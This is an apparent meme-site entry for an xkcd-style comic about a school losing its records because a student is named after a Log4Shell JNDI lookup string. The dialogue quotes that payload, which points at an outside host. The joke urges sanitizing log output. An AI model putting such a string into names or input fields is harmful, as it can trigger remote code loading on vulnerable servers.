Little Bobby JNDI
HI, THIS IS YOUR SON'S SCHOOL. WE'RE HAVING SOME COMPUTER TROUBLE. OH, DEAR – DID HE BREAK SOMETHING? IN A WAY– DID YOU REALLY NAME YOUR SON Robert ${jndi:ldap://exploit.cn/a} ? – OH. YES. LITTLE BOBBY JNDI, WE CALL HIM. WELL, WE'VE LOST THIS YEAR'S STUDENT RECORDS. I HOPE YOU'RE HAPPY. AND I HOPE YOU'VE LEARNED TO SANITIZE YOUR Log Outputs
A four-panel stick-figure comic depicts a school calling a parent about computer trouble and lost student records. The joke is that the child is named after a JNDI LDAP injection payload, referencing the Log4Shell vulnerability and unsafe logging of user-controlled input. It is used as a humorous reaction to poor cybersecurity practices and unsanitized log output.
stick figures / человечки-палочкиtelephone receiver / телефонная трубкаschool / школаcomputer trouble / компьютерная неисправностьwooden table / деревянный столpaper or document / бумага или документspeech bubbles / речевые пузыриfour-panel comic / комикс из четырёх панелейbold text / жирный текстLDAP injection payload / полезная нагрузка LDAP-инъекции
- @dev_meme / 4017 2021-12-11
- Template
- xkcd-style stick figure comic
- Type
- image
- Size
- 800×252 · 44.3 KiB
- Mood
- sarcastic
- Language
- en
- Added
